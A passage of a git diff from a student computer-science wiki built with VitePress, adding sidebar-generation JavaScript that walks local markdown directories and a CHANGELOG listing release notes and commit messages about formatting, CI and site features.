+        { text: '7.1WEB开发入门', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.1WEB开发入门' },
+        {
+          text: '7.2前端部分',
+          collapsed: true,
+          items: [
+            { text: '7.2.1基础(三件套)', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.1基础(三件套)' },
+            { text: '7.2.2进阶(小项目)', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.2进阶(小项目)' },
+            { text: '7.2.3附录1：前端介绍（详细版）', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.3附录1：前端介绍（详细版）' },
+            { text: '7.2.4附录2：大前端开发', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.4附录2：大前端开发' },
+            { text: '7.2.5附录3：跨端开发', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.5附录3：跨端开发' },
+          ]
+        },
+        {
+          text: '7.3后端部分',
+          collapsed: true,
+          items: [
+            { text: '7.3后端部分', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.3后端部分' },
+            { text: '7.3.1基础部分', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.3.1基础部分' },
+            { text: '7.3.2进阶部分', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.3.2进阶部分' },
+          ]
+        },
+      ]
+    },
+  ]
+}
+
+export function chapter8_old() {
+  return [
+    { text: '返回上一层', link: '/技术资源汇总(杭电支持版)/内容索引' },
+    {
+      text: '8.基础学科',
+      collapsed: false,
+      items: [
+        { text: '8.基础学科', link: '/技术资源汇总(杭电支持版)/8.基础学科/8.基础学科' },
+        { text: '8.1经济学科普Part1', link: '/技术资源汇总(杭电支持版)/8.基础学科/8.1经济学科普Part1' },
+      ]
+    }
+  ]
+}
+
+export function chapter9_old() {
+  return [
+    { text: '返回上一层', link: '/技术资源汇总(杭电支持版)/内容索引' },
+    {
+      text: '9.计算机网络',
+      collapsed: false,
+      items: [
+        { text: '9 计算机网络', link: '/技术资源汇总(杭电支持版)/9.计算机网络/9.计算机网络' },
+        { text: '9.1 计网速通', link: '/技术资源汇总(杭电支持版)/9.计算机网络/9.1计网速通' },
+        { text: '9.2.1 物理层(待完成)' },
+        { text: '9.2.2 链路层(待完成)' },
+        {
+          text: '9.2.3 网络层',
+          collapsed: true,
+          items: [
+            { text: '9.2.3 网络层', link: '/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3网络层' },
+            { text: '9.2.3.1 IP 协议', link: '/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3.1IP协议' },
+            { text: '9.2.3.2 子网与无类域间路由', link: '/技术资源汇总(杭电支持版)/9.计算机网络/9.2.3.2子网与无类域间路由' }
+          ]
+        },
+      ]
+    }
+  ]
+}
+
+// Function to extract numeric prefix as an array of numbers
+function getNumericPrefix(fileName) {
+  const match = fileName.match(/^(\d+(\.\d+)?(?:\.\d+)*)/);
+  if (match) {
+    return match[0].split('.').map(Number); // Convert to array of numbers
+  }
+  return [];
+}
+
+// Function to compare two numeric prefixes
+function compareNumericPrefixes(a, b) {
+  const prefixA = getNumericPrefix(a);
+  const prefixB = getNumericPrefix(b);
+
+  for (let i = 0; i < Math.max(prefixA.length, prefixB.length); i++) {
+    const numA = prefixA[i] || 0;
+    const numB = prefixB[i] || 0;
+    if (numA !== numB) {
+      return numA - numB;
+    }
+  }
+  return 0;
+}
+
+
+export function generateSidebarBasic(dir, excludeDir = [], maxDepth, currentDepth = 0) {
+  if (currentDepth >= maxDepth)
+    console.warn("the file depth is beyond the maxium depth that your sidebar can show!");
+  const files = fs.readdirSync(dir);
+  const sortedFiles = files.sort(compareNumericPrefixes);
+
+  const sidebar =
+    sortedFiles.map((file) => {
+      const fullPath = path.join(dir, file);
+      const stats = fs.statSync(fullPath);
+
+      if (stats.isDirectory()) {
+        if (excludeDir.includes(file)) return null; // Skip excluded directories
+        return {
+          text: file,
+          collapsed: true,
+          items: generateSidebarBasic(fullPath, excludeDir, maxDepth, currentDepth + 1),
+        };
+      } else if (file.endsWith('.md')) {
+        return {
+          text: file.replace('.md', ''),
+          link: `/${fullPath.replace('.md', '')}`,
+        };
+      }
+    })
+
+  return sidebar.filter(Boolean);
+}
+
+/**
+ * Generates a sidebar configuration for VitePress.
+ *
+ * @param {string} dir - The directory to generate the sidebar from.
+ * @param {Object} [options] - Optional parameters.
+ * @param {string[]} [options.excludeDir=['static']] - Directories to exclude from the sidebar.
+ * @param {string} [options.previousLevel='/'] - Link to the previous level.
+ * @param {string} [options.previousLevelDescription='返回上一层'] - Description for the previous level link.
+ * @param {string} [options.topLevelName] - Name for the top level of the sidebar.
+ * @param {number} [options.maxDepth=5] - Maximum depth of directories to include.
+ * @returns {Object[]} Sidebar configuration array.
+ */
+export function generateSidebar(
+  dir,
+  {
+    excludeDir = ['static'],
+    previousLevel = '/',
+    previousLevelDescription = '返回上一层',
+    topLevelName,
+    maxDepth = 5
+  } = {}
+) {
+  const sidebar = [
+    {
+      text: previousLevelDescription,
+      link: previousLevel,
+    },
+    {
+      text: topLevelName ?? dir,
+      collapsed: false,
+      items: generateSidebarBasic(dir, excludeDir, maxDepth),
+    },
+  ];
+  return sidebar;
+}
+
diff --git a/CHANGELOG.md b/CHANGELOG.md
new file mode 100644
index 0000000..db0d163
--- /dev/null
+++ b/CHANGELOG.md
@@ -0,0 +1,283 @@
+## [2.1.3](https://github.com/camera-2018/hdu-cs-wiki/compare/v2.1.2...v2.1.3) (2024-08-01)
+
+
+### Bug Fixes
+
+* **CI:** link checker ([6c57042](https://github.com/camera-2018/hdu-cs-wiki/commit/6c5704214a046024f2ad664ebf3c2638ecf96cad))
+
+## [2.1.2](https://github.com/camera-2018/hdu-cs-wiki/compare/v2.1.1...v2.1.2) (2024-08-01)
+
+
+### Bug Fixes
+
+* **CI:** link checker ([ef9ff11](https://github.com/camera-2018/hdu-cs-wiki/commit/ef9ff11d1748d5e55307d7aa94321b7727815acb))
+
+## [2.1.1](https://github.com/camera-2018/hdu-cs-wiki/compare/v2.1.0...v2.1.1) (2024-07-31)
+
+
+### Bug Fixes
+
+* **mermaid:** mermaid Hydration failed ([0e2c504](https://github.com/camera-2018/hdu-cs-wiki/commit/0e2c50454b88363d4ccb49803812feed70c37a44))
+
+# [2.1.0](https://github.com/camera-2018/hdu-cs-wiki/compare/v2.0.0...v2.1.0) (2024-07-29)
+
+
+### Bug Fixes
+
+* fix some issue with new generateSidebar function ([aa18da1](https://github.com/camera-2018/hdu-cs-wiki/commit/aa18da125a11ee3a7f7c5ee52fb15d5f93d4d1e5))
+* turn the generateSidebar to sync way ([d60855c](https://github.com/camera-2018/hdu-cs-wiki/commit/d60855c8e8670ef1673bb217084abeb10c7edf36))
+* when left-click the flagged block, will not trigger explosion ([6b5fd1d](https://github.com/camera-2018/hdu-cs-wiki/commit/6b5fd1de17e36de57d477f29e6642a1189a02b68))
+
+
+### Features
+
+* add sidebarGenerator function to auto generate sidebar based file structure ([eee42b8](https://github.com/camera-2018/hdu-cs-wiki/commit/eee42b867f746264a6707bc221ed24b1e1915a80))
+
+# [2.0.0](https://github.com/camera-2018/hdu-cs-wiki/compare/v1.3.0...v2.0.0) (2024-07-28)
+
+
+### Bug Fixes
+
+* wiki ([e17fb0c](https://github.com/camera-2018/hdu-cs-wiki/commit/e17fb0c3a40fc41df638c90176c4909ad5deb77e))
+
+
+### BREAKING CHANGES
+
+* release 2.0.0
+
+# [1.3.0](https://github.com/camera-2018/hdu-cs-wiki/compare/v1.2.5...v1.3.0) (2024-07-28)
+
+
+### Features
+
+* **WIKI:** wiki 2025 BREAKING CHANGE: Older content is categorized into older folders ([4ff7c80](https://github.com/camera-2018/hdu-cs-wiki/commit/4ff7c80ebf2a3a4dd3ebbf4849ee917c83d4ffec))
+
+## [1.2.5](https://github.com/camera-2018/hdu-cs-wiki/compare/v1.2.4...v1.2.5) (2024-07-28)
+
+
+### Bug Fixes
+
+* **CI:** use npm install ([37a6e88](https://github.com/camera-2018/hdu-cs-wiki/commit/37a6e881c5752e29f047a3a521d56ddef71b1cc1))
+* **deps:** add optionalDependencies ([a82c517](https://github.com/camera-2018/hdu-cs-wiki/commit/a82c51718438bf4dd7940f592c84e802cbefda22))
+
+## [1.2.4](https://github.com/camera-2018/hdu-cs-wiki/compare/v1.2.3...v1.2.4) (2024-07-28)
+
+
+### Bug Fixes
+
+* **deps:** del  optionalDependencies ([c988363](https://github.com/camera-2018/hdu-cs-wiki/commit/c988363472bfb0377c76034ce97f2e4bbc1b544b))
+
+## [1.2.3](https://github.com/camera-2018/hdu-cs-wiki/compare/v1.2.2...v1.2.3) (2024-07-28)
+
+
+### Bug Fixes
+
+* **jupyter:** fix sidebar ([03a9fde](https://github.com/camera-2018/hdu-cs-wiki/commit/03a9fde836769b7144c8e780e4a08a4d185424bc))
+
+## [1.2.2](https://github.com/camera-2018/hdu-cs-wiki/compare/v1.2.1...v1.2.2) (2024-07-28)
+
+
+### Bug Fixes
+
+* **jupyter:** remove jupyter ([f699e34](https://github.com/camera-2018/hdu-cs-wiki/commit/f699e3486c616853a027a230e2c70309367f8ec0))
+
+## [1.2.1](https://github.com/camera-2018/hdu-cs-wiki/compare/v1.2.0...v1.2.1) (2024-06-23)
+
+
+### Bug Fixes
+
+* ([#244](https://github.com/camera-2018/hdu-cs-wiki/issues/244)) ([9ad230b](https://github.com/camera-2018/hdu-cs-wiki/commit/9ad230b1fbeaa6da7faca75f5f45afaae9da857b))
+
+# [1.2.0](https://github.com/camera-2018/hdu-cs-wiki/compare/v1.1.0...v1.2.0) (2024-06-03)
+
+
+### Features
+
+* add twoslash js/ts highlight ([b5b72ee](https://github.com/camera-2018/hdu-cs-wiki/commit/b5b72ee93107db9f2ea0b0198e34cf51e1cd0a19))
+
+# [1.1.0](https://github.com/camera-2018/hdu-cs-wiki/compare/v1.0.1...v1.1.0) (2024-06-03)
+
+
+### Features
+
+* add CHANGELOG ([f3c53da](https://github.com/camera-2018/hdu-cs-wiki/commit/f3c53da0d6a0c86852be7650b82fc63c0075b261))
+
+## [1.0.1](https://github.com/camera-2018/hdu-cs-wiki/compare/v1.0.0...v1.0.1) (2024-05-28)
+
+
+### Bug Fixes
+
+* release ([0856faf](https://github.com/camera-2018/hdu-cs-wiki/commit/0856fafde78226721d32260789fb96f36bfa5911))
+
+# 1.0.0 (2024-05-28)
+
+
+### Bug Fixes
+
+* 2.1.3和2.4重复 ([786ab1e](https://github.com/camera-2018/hdu-cs-wiki/commit/786ab1e78a54ac8a62acfc4a62ed3c3f01808234))
+* **2.1.4书籍的盲目崇拜.md:** fixed a wrong URL about Z-Lib ([a2f134b](https://github.com/camera-2018/hdu-cs-wiki/commit/a2f134b1f462a3ad6c5d10119091ee8cc1005ef0))
+* 4.10 尖括号 ([bfdc3f1](https://github.com/camera-2018/hdu-cs-wiki/commit/bfdc3f1e497867db59714f23b05bfed9c5fe08c4))
+* 4.11 latex ([bcb2431](https://github.com/camera-2018/hdu-cs-wiki/commit/bcb24319e701d9759874b8682536d10a710af146))
+* **4.2:** 代码块 ([1a3fdf2](https://github.com/camera-2018/hdu-cs-wiki/commit/1a3fdf2a22e49dce891dc5da0281471a4fc11d9f))
+* 4.3.1 html tag ([b17c990](https://github.com/camera-2018/hdu-cs-wiki/commit/b17c99064c3216bae151fff4b724bae682b0c5c1))
+* 4.3.1 latex ([a4a238d](https://github.com/camera-2018/hdu-cs-wiki/commit/a4a238d459f31b5b95ef770af38ea73b6321d334))
+* 4.3.1 图片路径不正确 ([1d6a296](https://github.com/camera-2018/hdu-cs-wiki/commit/1d6a296af38e0b333e1a4c6ea6e444245f286f37))
+* 4.3.1.1 latex ([e5166dd](https://github.com/camera-2018/hdu-cs-wiki/commit/e5166ddd91848f6c0f0869d775567754cee0f35e))
+* 4.3.2 latex 妈的真难修啊 ([0ed1429](https://github.com/camera-2018/hdu-cs-wiki/commit/0ed1429ebc41219f51673592e0b5e80d7cfdeedc))
+* 4.3.2.1 latex ([0921e03](https://github.com/camera-2018/hdu-cs-wiki/commit/0921e03ca4284c2f90f4118af364e4adde5e710e))
+* 4.3.3 latex ([0fc433a](https://github.com/camera-2018/hdu-cs-wiki/commit/0fc433a331db3f544d4da01bc4235b074b52382f))
+* 4.6.5.2.3link地址不对 ([c9b815a](https://github.com/camera-2018/hdu-cs-wiki/commit/c9b815ad5f6826514129f65171838ef6ad833026))
+* 4.6.5.3.3 格式 ([7d42aa5](https://github.com/camera-2018/hdu-cs-wiki/commit/7d42aa5577eaed251fce51e5167294009bb0efcd))
+* 4.6.5.3.4 格式  谁写的这么多块块😡 ([66cbc04](https://github.com/camera-2018/hdu-cs-wiki/commit/66cbc04f27da64dc48bb5d28511510a2d2900343))
+* 4.6.5.4.1 latex ([7a94bd3](https://github.com/camera-2018/hdu-cs-wiki/commit/7a94bd3d1459b127ce4680c617234e8d0d9124b1))
+* 4.6.6.2.2.3 格式缩进 ([17d425a](https://github.com/camera-2018/hdu-cs-wiki/commit/17d425a114001885f7bd8cd6a36ad8907a4415f2))
+* 4.6.6.2.3 latex ([655f069](https://github.com/camera-2018/hdu-cs-wiki/commit/655f06912027c1b6dfb636c84acc8b50f7374f0f))
+* 4.6.7.1 格式 ([f16e5ae](https://github.com/camera-2018/hdu-cs-wiki/commit/f16e5ae11d4bfbd1b392ad35b7f42196a10627ad))
+* 4.6.9.3.3一张图片引用 ([6a0ac8a](https://github.com/camera-2018/hdu-cs-wiki/commit/6a0ac8ac9219885c576aa0a8d6be2a0a9a7b4fee))
+* 4.7 图网络 latex ([05d9972](https://github.com/camera-2018/hdu-cs-wiki/commit/05d9972b87228668401ccebb35acf480da717bb6))
+* 4.7 图网络 latex ([ef68381](https://github.com/camera-2018/hdu-cs-wiki/commit/ef68381bd2678c67a89a8c02b9e70b21d2065865))
+* 4.9 格式 ([a01fac8](https://github.com/camera-2018/hdu-cs-wiki/commit/a01fac80e1534ee69a951bdc4a63dbce350f6bed))
+* a bunch of typos ([51ea218](https://github.com/camera-2018/hdu-cs-wiki/commit/51ea218dd82e1d92bb906087fa3be43c5037fd85))
+* aside level ([62aa22f](https://github.com/camera-2018/hdu-cs-wiki/commit/62aa22fd43fce237220abe005809617cce44da14))
+* bad link ([fbf2faf](https://github.com/camera-2018/hdu-cs-wiki/commit/fbf2fafddda4c674ee682700c1353e8eaead595f))
+* bug in md ([c22d248](https://github.com/camera-2018/hdu-cs-wiki/commit/c22d24860e2a357cda3a62ee31f467613c513236))
+* ci ([09c431d](https://github.com/camera-2018/hdu-cs-wiki/commit/09c431d56ea781bcf1b4dcf29be519a8194896e4))
+* ci ([38b3dab](https://github.com/camera-2018/hdu-cs-wiki/commit/38b3dab9d3706651ee71631a7546e0e4404f81bd))
+* ci ([ee612e6](https://github.com/camera-2018/hdu-cs-wiki/commit/ee612e693388dce7ce4b1592f57b9e0efdf16ed0))
+* ci ([fb47769](https://github.com/camera-2018/hdu-cs-wiki/commit/fb47769093e77a425e65e15ae8cfa454764cc133))
+* ci ([60e4ae8](https://github.com/camera-2018/hdu-cs-wiki/commit/60e4ae84aada62ac37c5114cfa60b3a776c323cc))
+* ci ([cfd9be9](https://github.com/camera-2018/hdu-cs-wiki/commit/cfd9be954e81f3ff92b83f2dfd742daa1052339f))
+* ci debug ([f3f63e8](https://github.com/camera-2018/hdu-cs-wiki/commit/f3f63e899269465b235c3af55143823516bc06ed))
+* code font ([5d9b9c2](https://github.com/camera-2018/hdu-cs-wiki/commit/5d9b9c2f4bd7b65c28fb5e47c72d947dce3dd02c))
+* dead line ([e8c1fad](https://github.com/camera-2018/hdu-cs-wiki/commit/e8c1fad4daf27e29c350d126f0c6b141e09dae01))
+* dead link ([72cbf02](https://github.com/camera-2018/hdu-cs-wiki/commit/72cbf026a7bbf1b040f6a59ed366062ab625d776))
+* dead link ([2e216ef](https://github.com/camera-2018/hdu-cs-wiki/commit/2e216ef49c00fcda8fcdbb79fa4a20b1a832b7d9))
+* dead link ([b715bb7](https://github.com/camera-2018/hdu-cs-wiki/commit/b715bb795eeb4074ad0d1d08eabd0130b323c6bd))
+* del team ([9b8552d](https://github.com/camera-2018/hdu-cs-wiki/commit/9b8552da657d6fb64e0978e9e9db57bf24fa2e25))
+* devDependencies ([17dce70](https://github.com/camera-2018/hdu-cs-wiki/commit/17dce70d9dc8ce43ff734335bc980ab6e17fb141))
+* devDependencies ([b5b5848](https://github.com/camera-2018/hdu-cs-wiki/commit/b5b584844054a866ecaa5de8a802debb417068f9))
+* devDependencies ([19508d2](https://github.com/camera-2018/hdu-cs-wiki/commit/19508d26aa7e9210c47b1023f479ed58d5567063))
+* devDependencies ([ebb0c21](https://github.com/camera-2018/hdu-cs-wiki/commit/ebb0c213107c0f2f133fda994a1b21ccffdfc0df))
+* devDependencies ([7f9446e](https://github.com/camera-2018/hdu-cs-wiki/commit/7f9446e4f233b2c18ea6e254bfb8675e489ab2cd))
+* devDependencies ([7d3a067](https://github.com/camera-2018/hdu-cs-wiki/commit/7d3a0676e7ae0f5dee787e9d8115a8bb6d3c9ca7))
+* devDependencies ([1f6504b](https://github.com/camera-2018/hdu-cs-wiki/commit/1f6504b0c5f8e5d2c42ec03eb545be78149a5b9b))
+* devDependencies ([b040294](https://github.com/camera-2018/hdu-cs-wiki/commit/b040294c99a42ff9757709f0b0a3e216bc782668))
+* devDependencies ([95510c9](https://github.com/camera-2018/hdu-cs-wiki/commit/95510c9d9fc02a1dfb177b9e8711dd742262640d))
+* font ([08e9cd3](https://github.com/camera-2018/hdu-cs-wiki/commit/08e9cd3393d49394247d0176062ee879283e302d))
+* http to https ([7b438b0](https://github.com/camera-2018/hdu-cs-wiki/commit/7b438b0c45643d2f609659a03b4d8ca16e63e65b))
+* http to https ([aa2d06b](https://github.com/camera-2018/hdu-cs-wiki/commit/aa2d06bc00be94d450d6a8eb12e44efd2bd63aa1))
+* ignore check font link ([c55a12d](https://github.com/camera-2018/hdu-cs-wiki/commit/c55a12d3ceb8316d5f62bd0ccbb14966323316f9))
+* manifest ([84d1553](https://github.com/camera-2018/hdu-cs-wiki/commit/84d1553ef6e0354d8c5518f7ab86e92e21b34e35))
+* no space at build ([01251fa](https://github.com/camera-2018/hdu-cs-wiki/commit/01251fa04c0c73d1d3e027851def28e49e197129))
+* notebook 代码背景 ([b953a93](https://github.com/camera-2018/hdu-cs-wiki/commit/b953a935f2ce36ae060c6efb16687b4c4555f262))
+* pic to oss ([39a3163](https://github.com/camera-2018/hdu-cs-wiki/commit/39a3163d81ca2643f9c8f522cb48cb0d0fa398ef))
+* plain 不存在语言爆黄 ([3e7428e](https://github.com/camera-2018/hdu-cs-wiki/commit/3e7428ecfa7d2514dabaf84188d1bb932ad2e441))
+* pwa ([5927bde](https://github.com/camera-2018/hdu-cs-wiki/commit/5927bde1d44a80ec04587801d2ac6b55ebbaaa4c))
+* qrcode ([328d45a](https://github.com/camera-2018/hdu-cs-wiki/commit/328d45a15db553298b6a71f318f1b3a933442535))
+* svg to public ([2eb4288](https://github.com/camera-2018/hdu-cs-wiki/commit/2eb4288a81ffe819fd628078287c0fed34889135))
+* typo in 4.6.6.2.2.x ([4145e94](https://github.com/camera-2018/hdu-cs-wiki/commit/4145e94932a5d77eebd877df400c967c78b2b1bc))
+* typos in 3.Y.5 ([f7df782](https://github.com/camera-2018/hdu-cs-wiki/commit/f7df7821e5ff5c6ce4eae8052cec13e7f610806a))
+* webfont-dl ([85e2960](https://github.com/camera-2018/hdu-cs-wiki/commit/85e29605b58401336a18b1552607835b2965022e))
+* webfont-dl ([f2a6e64](https://github.com/camera-2018/hdu-cs-wiki/commit/f2a6e64a8613378ebd6fb5b92f7bb6997e3d6334))
+* 一堆图 ([2ac3319](https://github.com/camera-2018/hdu-cs-wiki/commit/2ac331987c84ec85d93a3209a8bf15e792a175b3))
+* 一堆图 ([e43c5f6](https://github.com/camera-2018/hdu-cs-wiki/commit/e43c5f633df808b4a7a797c7db438613b451f570))
+* 一堆图 ([7b4938c](https://github.com/camera-2018/hdu-cs-wiki/commit/7b4938cdf82f29e6a2daa09f59a3159d109273f0))
+* 一堆格式问题 ([9f8d2e4](https://github.com/camera-2018/hdu-cs-wiki/commit/9f8d2e4ebb2348ff21968a29ecbde3ecaae5071c))
+* 一张图 ([9f0b3d2](https://github.com/camera-2018/hdu-cs-wiki/commit/9f0b3d2f4a9ccb8783e329c61cffc270d1f9ff17))
+* 一张图 ([3417cc2](https://github.com/camera-2018/hdu-cs-wiki/commit/3417cc2258b3ca7b229b78d2571f60802de8fcae))
+* 一张图 ([fc4c843](https://github.com/camera-2018/hdu-cs-wiki/commit/fc4c8436d83abde1c547328f0bf23bffcfd1ef6e))
+* 一张图 ([a23a0fc](https://github.com/camera-2018/hdu-cs-wiki/commit/a23a0fc4fe5132fc6f66921f6fc90304053b102d))
+* 一张图 ([7a288c0](https://github.com/camera-2018/hdu-cs-wiki/commit/7a288c0aefd81f93bf507f0db57921461bcf0262))
+* 一张图 ([27f6c5a](https://github.com/camera-2018/hdu-cs-wiki/commit/27f6c5a62a4235b7ab4797ec504c790a0530b1b4))
+* 修复4.2和4.3.1里面latex排版不正确 ([d444372](https://github.com/camera-2018/hdu-cs-wiki/commit/d4443721e9469284dc395457475ba248f478bb20))
+* 修复酷炫代码的bug ([abcd42c](https://github.com/camera-2018/hdu-cs-wiki/commit/abcd42cca8a424140e2d7a0a0af61227745df220))
+* 关闭consolelog ([d947082](https://github.com/camera-2018/hdu-cs-wiki/commit/d94708289db792d83e34483905f478f8fbd30dbb))
+* 加载一瞬间问题 ([dac35cf](https://github.com/camera-2018/hdu-cs-wiki/commit/dac35cf03447e5a465a08a30f1aaabed8629a927))
+* 单章折叠的目录 ([ea7b699](https://github.com/camera-2018/hdu-cs-wiki/commit/ea7b699e0020c9e8ab8f32c5000d87a048f99b6f))
+* 图片位置 ([f459459](https://github.com/camera-2018/hdu-cs-wiki/commit/f459459db5a9826f7bc5b2e63d8a1ac455026e85))
+* 堆炸 ([78828f7](https://github.com/camera-2018/hdu-cs-wiki/commit/78828f70dafbb193b320f4bb93390d05e5943ac9))
+* 字体 预加载 ([5bf6d3e](https://github.com/camera-2018/hdu-cs-wiki/commit/5bf6d3ee44cb820bfc3bf32891cf77dfc11e9054))
+* 定积分尝试提交测试cdn ([e47e2ce](https://github.com/camera-2018/hdu-cs-wiki/commit/e47e2ce4d1ec8a3150734cddbe434f30418e7d98))
+* 尝试修复水合问题 ([c429d3d](https://github.com/camera-2018/hdu-cs-wiki/commit/c429d3dd5fdae134c95e28bb05bf4fb946d6ba47))
+* 尝试修复水合问题 ([5c8dad5](https://github.com/camera-2018/hdu-cs-wiki/commit/5c8dad5e8134c0016cef895ec8f21e48b434cc9f))
+* 所有的连接跳转 ([0fa327d](https://github.com/camera-2018/hdu-cs-wiki/commit/0fa327d37db7295a26d4435830b1db564ff8fcf0))
+* 扫雷小游戏 ([850a692](https://github.com/camera-2018/hdu-cs-wiki/commit/850a692f4e423726258914c12e3fd3796ba81940))
+* 扫雷小游戏 ([ea699ec](https://github.com/camera-2018/hdu-cs-wiki/commit/ea699ec8759b042bc1e64f4f3bc73f65bf19145f))
+* 扫雷小游戏 ([9612f09](https://github.com/camera-2018/hdu-cs-wiki/commit/9612f090cc9480409bc9d2ab4cff35a77aad319e))
+* 构建问题 ([6e656de](https://github.com/camera-2018/hdu-cs-wiki/commit/6e656de5fca4ee297183b274c8ad6f5e1a00a3ad))
+* 百度真难py啊涝滩东西 ([9e8989c](https://github.com/camera-2018/hdu-cs-wiki/commit/9e8989c17c324e21b6c10558cd37ce10fc9492b7))
+* 目录结构 ([b847f63](https://github.com/camera-2018/hdu-cs-wiki/commit/b847f6357fdde73a489854fe01aec2a734432c7d))
+* 目录结构 ([83e7c6d](https://github.com/camera-2018/hdu-cs-wiki/commit/83e7c6d842239721a166e0202759667c65c153a0))
+* 目录调整 ([6e187a7](https://github.com/camera-2018/hdu-cs-wiki/commit/6e187a7d5478b647721c358dfee3140abf4779a6))
+* 目录错误 ([5691805](https://github.com/camera-2018/hdu-cs-wiki/commit/5691805c224cde62c68b816ad59f85c7aef3521d))
+* 苹果png问题 ([9e4204d](https://github.com/camera-2018/hdu-cs-wiki/commit/9e4204dee925fee37e0da981386eeb695346753c))
+* 路径 ([d952ba4](https://github.com/camera-2018/hdu-cs-wiki/commit/d952ba49b80ea9828a427c3b08b268154c8d0321))
+* 路径和标题写错了，现在改回来 ([5295b46](https://github.com/camera-2018/hdu-cs-wiki/commit/5295b46c31e4d4c5e699a84e1e94dd6364fcb0c5))
+* 那没办法 只能阻塞加载了 ([b2de640](https://github.com/camera-2018/hdu-cs-wiki/commit/b2de6408df2ed2e182e1ae6c290090bb20d8d91c))
+* 顺序 ([15e99ec](https://github.com/camera-2018/hdu-cs-wiki/commit/15e99ecb34225b1535a3f1fd6ce27894699ee9a8))
+
+
+### Features
+
+* 4678章 ([2a11401](https://github.com/camera-2018/hdu-cs-wiki/commit/2a114017afd3469bcb0454f5436c82d10594be84))
+* add badge ([8b247e3](https://github.com/camera-2018/hdu-cs-wiki/commit/8b247e36531a0dcac50337ae2460b9c0a98cfc10))
+* add configs ([80598c7](https://github.com/camera-2018/hdu-cs-wiki/commit/80598c7b8ccd2f392850ab1bc3b8b54342956604))
+* add download components ([08fa485](https://github.com/camera-2018/hdu-cs-wiki/commit/08fa485f6f25d2dbdaeb387afb2e74512e73d2a8))
+* add icon ([bb8678a](https://github.com/camera-2018/hdu-cs-wiki/commit/bb8678aacb751f03a0a9e99010a79f20027791d8))
+* add img zoom ([25e0d24](https://github.com/camera-2018/hdu-cs-wiki/commit/25e0d24dfa3fc588abfbec1c65ee261466bba408))
+* add mermaid ([5f224e8](https://github.com/camera-2018/hdu-cs-wiki/commit/5f224e86015fdb76f66285eb2d25d0542abf807d))
+* add pwa ([31b9088](https://github.com/camera-2018/hdu-cs-wiki/commit/31b90889d552733591c482f29c82666e4a0d62e4))
+* add semantic-release ([ed45e5a](https://github.com/camera-2018/hdu-cs-wiki/commit/ed45e5af6c05c29c36e1859a2b9bef3907108738))
+* add sitemap gen ([2761331](https://github.com/camera-2018/hdu-cs-wiki/commit/27613317260cb2f4933cb8c72dc543ebcc0464d7))
+* add some articles about security ([a0494a1](https://github.com/camera-2018/hdu-cs-wiki/commit/a0494a1884898c5e26c443fc03ea38f7b0d2abde))
+* add umami ([ac3e09a](https://github.com/camera-2018/hdu-cs-wiki/commit/ac3e09aaf5a88be08b912526ef3712816cbd3196))
+* auto white space ([316689e](https://github.com/camera-2018/hdu-cs-wiki/commit/316689ec5d3b0d48e8678b460726b944b5e962df))
+* blog ([2809292](https://github.com/camera-2018/hdu-cs-wiki/commit/280929213fd62348b0aaecf0bac56ef88d313a4f))
+* ci ([2f0ea17](https://github.com/camera-2018/hdu-cs-wiki/commit/2f0ea17b896a19bea66acc26df581f4b5daca00f))
+* CIDR ([4b771dd](https://github.com/camera-2018/hdu-cs-wiki/commit/4b771ddb8a87e175374bff06f54abc593210af62))
+* clean urls ([36e4f30](https://github.com/camera-2018/hdu-cs-wiki/commit/36e4f30ee4d8342d313e279cad160d66c8297e1b))
+* color ([a2c8bd8](https://github.com/camera-2018/hdu-cs-wiki/commit/a2c8bd8a91616cfd15b6056379379a4229a9f835))
+* enable search ([a199139](https://github.com/camera-2018/hdu-cs-wiki/commit/a1991397a3028df5ace097399cf00f367e5bc9c3))
+* enable search ([a225c45](https://github.com/camera-2018/hdu-cs-wiki/commit/a225c4592474ebe5e37a9655b87cc476ed1b5e31))
+* enable search ([f0752e1](https://github.com/camera-2018/hdu-cs-wiki/commit/f0752e1b39bc1bb0caa99144e814577690fbd634))
+* latex support ([fe3a683](https://github.com/camera-2018/hdu-cs-wiki/commit/fe3a68302f0b5553b5d108c633dfa5bad051a8bf))
+* latex support ([7597714](https://github.com/camera-2018/hdu-cs-wiki/commit/759771405f6a17972f9c996392095d107f9bc440))
+* Offline Caching ([3da6a88](https://github.com/camera-2018/hdu-cs-wiki/commit/3da6a88596482773c8f74832eaf92bd7a2c06e57))
+* parallax 小玩意 ([f31bede](https://github.com/camera-2018/hdu-cs-wiki/commit/f31bedef77eb4216ede604b8070c43ca4c282c2e))
+* pdf components ([27990c9](https://github.com/camera-2018/hdu-cs-wiki/commit/27990c9868f4504def675016b9249f4c5a89e9d7))
+* robots.txt ([7800960](https://github.com/camera-2018/hdu-cs-wiki/commit/7800960374a72c07a1452c91105924f6f3461090))
+* Update embedded system part ([7ffc2bc](https://github.com/camera-2018/hdu-cs-wiki/commit/7ffc2bcbc339158393e1c711f26a4f78f7e201d4))
+* Update embedded system part ([78d57a5](https://github.com/camera-2018/hdu-cs-wiki/commit/78d57a59c80f0d2bfff53011e8bfcdfec10f4a5a))
+* update How to choose the best courses possible ([42b0c86](https://github.com/camera-2018/hdu-cs-wiki/commit/42b0c8660714f4b8cec674fa75c8b49b6bc43f46))
+* update security part ([bba6b8b](https://github.com/camera-2018/hdu-cs-wiki/commit/bba6b8b0729e656fcb2c464dde82970431cc1883))
+* View_Transitions_API ([6f95d74](https://github.com/camera-2018/hdu-cs-wiki/commit/6f95d74d9f64c9f3e37a52c2e4f5b1c85378d62b))
+* 主页渐变色 帅 ([89759d2](https://github.com/camera-2018/hdu-cs-wiki/commit/89759d2847f47a68a1f11eec5332bb51ee3553f7))
+* 五章 ([040696d](https://github.com/camera-2018/hdu-cs-wiki/commit/040696dd7d2530b3acb904d72123aeb5f4be6c9c))
+* 代码横向分块 ([795958d](https://github.com/camera-2018/hdu-cs-wiki/commit/795958dc9194679594d67722104604d6d40ff52b))
